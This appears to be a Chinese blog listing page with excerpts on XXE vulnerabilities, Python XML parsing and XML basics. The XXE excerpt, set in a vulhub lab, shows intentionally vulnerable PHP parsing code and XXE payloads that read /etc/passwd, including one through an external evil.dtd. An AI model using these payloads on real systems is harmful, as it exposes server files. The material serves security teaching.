XXE漏洞

0x00 XXE XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛 外部引用时可能会出现XXE漏洞,XXE漏洞是针对使用XML交互的Web应用程序的攻击方法 0x01 示例代码 实验环境:https://github.com/vulhub/vulhub/tree/master/php/php_xxe simplexml_load_string.php <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; 0x02 判断是否有xxe漏洞 0x03 读取文件 外部引用读取passwd <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <name>&xxe;</name> </root> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root> <name>&xxe;</name> </root> 外部引用dtd文件读取passwd evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd">


使用Python读写xml文件

0x00 解析XML的方法 SAX (simple API for XML) python 标准库包含SAX解析器,SAX用事件驱动模型,通过在解析XML的过程中触发一个个的事件并调用用户定义的回调函数来处理XML文件。 DOM(Document Object Model) 将XML数据在内存中解析成一个树,通过对树的操作来操作XML。 ElementTree(元素树) ElementTree就像一个轻量级的DOM,具有方便友好的API。代码可用性好,速度快,消耗内存少。 我在这里使用ElementTree 0x01 Element对象的属性 每个Element对象都具有以下属性: tag:string对象,表示数据代表的种类 attrib:dictionary对象,表示附有的属性 text:string对象,表示element的内容 tail:string对象,表示element闭合之后的尾迹 若干子元素(child elements) >>> from xml.etree import ElementTree as ET >>> xml = """<books> ... <book id='37476'>aaaa</book> ... <book id='83727'>bbbb</book> ... </books>""" >>> root = ET.fromstring(xml) >>> root.tag 'books' >>> child = root.getchildren() >>> child [<Element 'book' at 0x106f59410>, <Element 'book' at 0x106f59450>] >>> child[0].


XML基础

0x00 XML简介 1、xml的设计宗旨是传输数据,而并非显示数据 2、xms是不作为的,它被设计用来结构化、存储以及传输信息 3、xml只是纯文本,独立于软硬件和应用程序 4、xml可供任何软硬设备读取数据 5、xml可以自定义标签 6、xml具有自我描述性 7、xml是对html的补充 8、xml常用于简化数据的存储和共享 0x01 XML语法规则 1、所有元素必有闭合标签 2、标签对大小写敏感 3、必须正确的嵌套 4、XML必须有根元素,根节点可以有子节点 5、XML的属性值必须加引号(能用子元素的就用子元素代替属性) 6、空格会被保留 7、XML以LF存储换行 8、注释使用<!-- --> 9、实体引用 &lt; < 小于 &gt; > 大于 &amp; & 和号 &apos; ' 单引号 &quot; " 引号 0x02 XML格式 <?xml version="1.0" encoding="utf-8"?> <!--xml声明--> <!--文档类型定义--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!-- 定义to标签中元素的类型 --> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <!--文档元素--> <note> <to>Tom</to> <from>John</from> <heading>Reminder</heading> <body>Hi,I’am John</body> </note> 0x03 XML示例 例子一:John给George的便签



可以返回顶部